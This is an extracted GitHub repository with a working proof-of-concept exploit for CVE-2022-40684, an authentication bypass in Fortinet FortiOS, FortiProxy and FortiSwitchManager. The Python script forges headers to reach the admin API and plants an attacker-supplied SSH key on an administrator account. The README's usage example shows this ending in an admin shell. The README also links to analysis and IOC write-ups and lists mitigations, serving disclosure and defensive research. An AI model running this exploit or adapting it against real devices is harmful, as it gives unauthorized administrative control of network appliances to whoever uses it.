Repository: horizon3ai/CVE-2022-40684
Branch: master
Commit: 6bdbd95533a0
Files: 2
Total size: 3.0 KB
Directory structure:
gitextract_xnpuku8n/
├── CVE-2022-40684.py
└── README.md
================================================
FILE CONTENTS
================================================
================================================
FILE: CVE-2022-40684.py
================================================
#!/usr/bin/python3
import argparse
import json
import requests
import urllib3
requests.packages.urllib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
HEADERS = {
'User-Agent': 'Report Runner',
'Forwarded': 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"'
}
def format_key(key_file):
with open(key_file) as f:
k = f.read().strip()
return(k)
def add_key(target, username, key_file):
key = format_key(key_file)
j = {
"ssh-public-key1": '\"' + key + '\"'
}
url = f'https://{target}/api/v2/cmdb/system/admin/{username}'
r = requests.put(url, headers=HEADERS, json=j, verify=False)
if 'SSH key is good' not in r.text:
print(f'[-] {target} is not vulnerable!')
else:
print(f'[+] SSH key for {username} added successfully!')
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-u', '--username', help='The user to add an SSH key file for', required=True)
parser.add_argument('-k', '--key-file', help='The SSH key file', required=True)
args = parser.parse_args()
add_key(args.target, args.username, args.key_file)
================================================
FILE: README.md
================================================
# CVE-2022-40684
POC for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager appliances.
## Technical Analysis
A technical root cause analysis of the vulnerability can be found on our blog:
https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684
## Indicators of Compromise
For analyizing Fortinet logs for indicators of compromise and how to enable deeper logs check out our IOC blog:
https://www.horizon3.ai/fortinet-iocs-cve-2022-40684/
## Summary
This POC abuses the authentication bypass vulnerability to set an SSH key for the specified user.
## Usage
```plaintext
root@kali:~# python3 CVE-2022-40684.py -t 10.0.40.67 --username admin --key-file ~/.ssh/id_rsa.pub
[+] SSH key for admin added successfully!
root@kali:~# ssh admin@10.0.40.67
fortios_7_2_1 #
config Configure object.
get Get dynamic and system information.
show Show configuration.
diagnose Diagnose facility.
execute Execute static commands.
alias Execute alias commands.
exit Exit the CLI.
```
## Mitigations
Update to the latest version or mitigate by following the instructions within the Fortinet PSIRT
* https://www.fortiguard.com/psirt/FG-IR-22-377
## Follow the Horizon3.ai Attack Team on Twitter for the latest security research:
* [Horizon3 Attack Team](https://twitter.com/Horizon3Attack)
* [James Horseman](https://twitter.com/JamesHorseman2)
* [Zach Hanley](https://twitter.com/hacks_zach)
## Disclaimer
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
gitextract_xnpuku8n/ ├── CVE-2022-40684.py └── README.md
SYMBOL INDEX (2 symbols across 1 files) FILE: CVE-2022-40684.py function format_key (line 15) | def format_key(key_file): function add_key (line 22) | def add_key(target, username, key_file):
Condensed preview — 2 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (3K chars).
[
{
"path": "CVE-2022-40684.py",
"chars": 1273,
"preview": "#!/usr/bin/python3\nimport argparse\nimport json\nimport requests\nimport urllib3\nrequests.packages.urllib3.disable_warnings"
},
{
"path": "README.md",
"chars": 1847,
"preview": "# CVE-2022-40684\nPOC for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager appliances.\n\n## T"
}
]
About this extraction
This page contains the full source code of the horizon3ai/CVE-2022-40684 GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 2 files (3.0 KB), approximately 900 tokens, and a symbol index with 2 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.